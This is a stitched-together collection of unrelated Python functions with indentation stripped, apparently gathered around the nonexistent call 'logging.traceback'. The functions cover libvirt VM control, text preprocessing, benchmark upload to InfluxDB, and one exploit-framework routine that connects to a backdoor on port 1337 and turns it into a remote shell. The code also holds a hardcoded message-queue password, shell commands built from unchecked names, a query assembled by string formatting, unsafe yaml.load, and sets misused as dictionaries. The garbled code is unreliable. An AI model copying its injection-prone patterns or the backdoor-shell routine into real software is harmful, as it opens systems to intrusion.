def sendPubKey(name, ip):
logger.info("sendPubKey")
msg = {'name', 'ipv4_address', 'sshkey_path', 'error'}
logger.info("isSend %d", isSend)
if not isSend:
return
try:
cmd = "%s %s %s %s %s %s %s" % (ssh_cmd_sh, dcm_user, dcm_ip, dcm_port,
dcm_key, pubfile, dcm_pub_dir)
p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
#stdout_data, stderr_data = p.communicate()
#logging.info("ssh %s %s", stdout_data, stderr_data)
res = subprocess.check_output(cmd, shell=True)
logging.info("ssh %s", res)
msg['name'] = str(name)
msg['ipv4_address'] = str(ip)
msg['sshkey_path'] = str(dcm_pub_file)
msg['error'] = 'success'
credentials = pika.PlainCredentials('server3_agent', 'hfakf39s0T7')
connection = pika.BlockingConnection(
pika.ConnectionParameters('192.168.1.1', 5672, '/server3',
credentials))
channel = connection.channel()
channel.queue_declare(queue='from_middleware_to_agent', durable=True)
channel.basic_publish(exchange='',
routing_key='from_agent_to_middleware',
body=json.dumps(msg))
connection.close()
isSend = False
except Exception as e:
logging.traceback(e)
def virt_install(op, name, os, size, vcpu, ram):
logger.info("virt_install")
try:
cmd = "%s %s %s %s %s %s %s" % (virsh_cmd_sh, op, name, os, size, vcpu, ram)
logger.info(cmd)
p = subprocess.Popen(cmd, shell=True)
stdout_data, stderr_data = p.communicate()
if (p.returncode == 0) :
startTimer(name)
if( os.path.isfile(pubfile) ) :
os.remove(pubfile)
msg = {
'state' : 'starting',
'error' : 'success'
}
else:
msg = {
'error' : 'failed'
}
except Exception as e:
logging.traceback(e)
msg = {
'error' : 'failed'
}
logger.info(json.dumps(msg))
return msg
def preprocess(
input_string: str,
preprocessing_steps: List[Callable[[Iterable], Iterable]] = [
remove_punctuation,
remove_stopwords,
],
) -> List[str]:
"""Preprocessess a string by applying a list of preprocessing steps.
Args:
input_string: The input string.
preprocessing_steps: A list of functions that will be applied to ``input_string``.
Returns:
The list of preprocessed tokens.
"""
try:
preprocessed_tokens = truecase(input_string)
preprocessed_tokens = tokenize(preprocessed_tokens)
for step in preprocessing_steps:
preprocessed_tokens = step(preprocessed_tokens)
return list(preprocessed_tokens)
except TypeError as ex:
logging.traceback(ex)
def start_poller(self, interval, method, args=None, kwargs=None):
args = args or {}
kwargs = kwargs or {}
try:
self.current_pollers.append((method, args, kwargs))
self.program_next_poll(interval, method, args, kwargs)
except Exception:
logging.traceback()
def run(self):
self.getArgs()
#thread off to listen for the post
listenDaemon = threading.Thread(target=self.listen3010)
listenDaemon.setDaemon(True)
listenDaemon.start()
time.sleep(2)
#thread off to make the post
sendPost = threading.Thread(target=self.makePost)
sendPost.start()
#self.makePost()
time.sleep(3)
#wait for the request to hit the listener
self.host = self.target.interface
self.port = 1337
self.setInfo("%s attacking %s:%d (in progress)" %
(NAME, self.host, self.port))
logging.info("Attacking %s:%d (in progress)" % (self.host, self.port))
try:
s = self.gettcpsock()
s.connect((self.host, self.port))
except socket.error:
logging.info("Backdoor connection not successful")
self.setProgress(-1)
return 0
telnetshell = Telnet()
telnetshell.sock = s
self.setProgress(80)
try:
# Success, convert to unixShellNode through shellfromtelnet.
shell = shelllistener(shellfromtelnet(telnetshell),
logfunction=self.logfunction)
except:
logging.info(
"Could not make a shell listener - connection was closed. Exploit most likely failed"
)
import traceback
print '-' * 60
logging.traceback(file=sys.stdout)
print '-' * 60
self.setProgress(-1)
return 0
node = unixShellNode.unixShellNode()
node.parentnode = self.argsDict["passednodes"][0]
node.shell = shell
self.setInfo("%s attacking %s:%d (success!)" %
(NAME, self.host, self.port))
return node
def config_load(path):
"""
Load a config file.
:param path File path (str)
"""
try:
with open(path, mode="r") as handle:
file_content = handle.read()
loaded_content = yaml.load(file_content)
return loaded_content
except IOError as exc:
logging.traceback(exc)
sys.exit(1)
def virsh_with_name(op, name):
logger.info("virsh_with_name")
msg = {'state', 'error'}
try:
cmd = "%s %s %s" % (virsh_cmd_sh, op, name)
p = subprocess.Popen(cmd, shell=True)
stdout_data, stderr_data = p.communicate()
if (p.returncode == 0):
msg['error'] = 'success'
st = getState(name)
msg['state'] = st
else:
msg['error'] = 'failed'
except Exception as e:
logging.traceback(e)
msg['error'] = 'failed'
logger.info(json.dumps(msg))
return msg
def getPubKey(name):
logger.info("getPubKey")
try:
if (getState(name) != 'active'):
#virsh_with_name('start', name)
cmd = "virsh start %s" % (name)
p = subprocess.Popen(cmd, shell=True)
p.communicate()
cmd = "%s getip %s" % (virsh_cmd_sh, name)
p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
stdout_data, stderr_data = p.communicate()
ip_addr = stdout_data.decode('utf-8')
logging.info("ip %s", ip_addr)
socket.inet_aton(ip_addr)
if (os.path.isfile(pubfile)):
sendPubKey(name, ip_addr)
except Exception as e:
logging.traceback(e)
def getState(name):
logger.info("getState")
try:
cmd = "%s getstate %s" % (virsh_cmd_sh, name)
#p = subprocess.Popen(cmd, shell=True)
#stdout_data, stderr_data = p.communicate()
#res = stdout_data.decode('utf-8')
res = subprocess.check_output(cmd, shell=True)
logging.info("state %s", res.decode('utf-8'))
if res.decode('utf-8') in {'running'}:
st = 'active'
elif res.decode('utf-8') in {'paused'}:
st = 'inactive'
elif res.decode('utf-8') in {'shut off'}:
st = 'stop'
else:
st = 'destroy'
except Exception as e:
logging.traceback(e)
st = ''
logger.info("st=%s" % st)
return st
def handle_sysbench_file(path, name, instance):
result = dict()
with open(path + "/" + name, "r") as outfile:
result = json.load(outfile)
bench_type = result["bench_type"]
client = InfluxDBClient('172.16.30.11', 8086, '', '', 'benchbot')
old_result = client.query("""
select * from benchbot
where bench_method = '%s'
and bench_type = '%s'
and instance = '%s'
order by time desc limit 1 """ %
(result["bench_method"], bench_type, instance))
last_result = dict()
if last_result is not None and len(list(old_result.get_points())) != 0:
last_result = list(old_result.get_points())[0]
if result["bench_time"] is None:
result["bench_time"] = datetime.datetime.now()
data = [{
"measurement": "benchbot",
"tags": {
"bench_type": bench_type,
"bench_method": result["bench_method"],
"instance": instance,
"tidb_commit": result["cluster_info"]["tidb"]["commit"],
"tidb_branch": result["cluster_info"]["tidb"]["branch"],
"tidb_build_time": result["cluster_info"]["tidb"]["build_time"],
"tidb_tag": result["cluster_info"]["tidb"]["tag"],
"pd_commit": result["cluster_info"]["pd"]["commit"],
"pd_branch": result["cluster_info"]["pd"]["branch"],
"pd_tag": result["cluster_info"]["pd"]["tag"],
"pd_build_time": result["cluster_info"]["pd"]["build_time"],
"tikv_commit": result["cluster_info"]["tikv"]["commit"],
"tikv_branch": result["cluster_info"]["tikv"]["branch"],
"tikv_tag": result["cluster_info"]["tikv"]["tag"],
"tikv_build_time": result["cluster_info"]["tikv"]["build_time"]
},
"time": result.get("bench_time", datetime.datetime.now()),
# "fields": result["bench_result"]}]
"fields": {
"tps_value":
float(result.get("bench_result", {}).get("tps_value", 0)),
"tps_deviation":
float(result.get("bench_result", {}).get("tps_deviation", 0)),
"tps_var":
float(result.get("bench_result", {}).get("tps_var", 0)),
"tps_std":
float(result.get("bench_result", {}).get("tps_std", 0)),
"qps_value":
float(result.get("bench_result", {}).get("qps_value", 0)),
"qps_deviation":
float(result.get("bench_result", {}).get("qps_deviation", 0)),
"qps_var":
float(result.get("bench_result", {}).get("qps_var", 0)),
"qps_std":
float(result.get("bench_result", {}).get("qps_std", 0)),
"lantency_avg_value":
float(result.get("bench_result", {}).get("lantency_avg_value", 0)),
"lantency_avg_deviation":
float(
result.get("bench_result", {}).get("lantency_avg_deviation",
0)),
"lantency_avg_var":
float(result.get("bench_result", {}).get("lantency_avg_var", 0)),
"lantency_avg_std":
float(result.get("bench_result", {}).get("lantency_avg_std", 0)),
"lantency_95th_value":
float(
result.get("bench_result", {}).get("lantency_95th_value", 0)),
"lantency_95th_deviation":
float(
result.get("bench_result", {}).get("lantency_95th_deviation",
0)),
"lantency_95th_var":
float(result.get("bench_result", {}).get("lantency_95th_var", 0)),
"lantency_95th_std":
float(result.get("bench_result", {}).get("lantency_95th_std", 0)),
"time_elapsed":
result.get("bench_result", {}).get("time_elapsed", 0)
}
}]
try:
client.write_points(data)
# logging.info("writed %s to influxdb", result)
except Exception as err:
logging.error("write %s to influxdb", data)
logging.traceback(err)
sys.exit(1)
return {
"name": result["bench_method"],
"current": result,
"last_point": last_result
}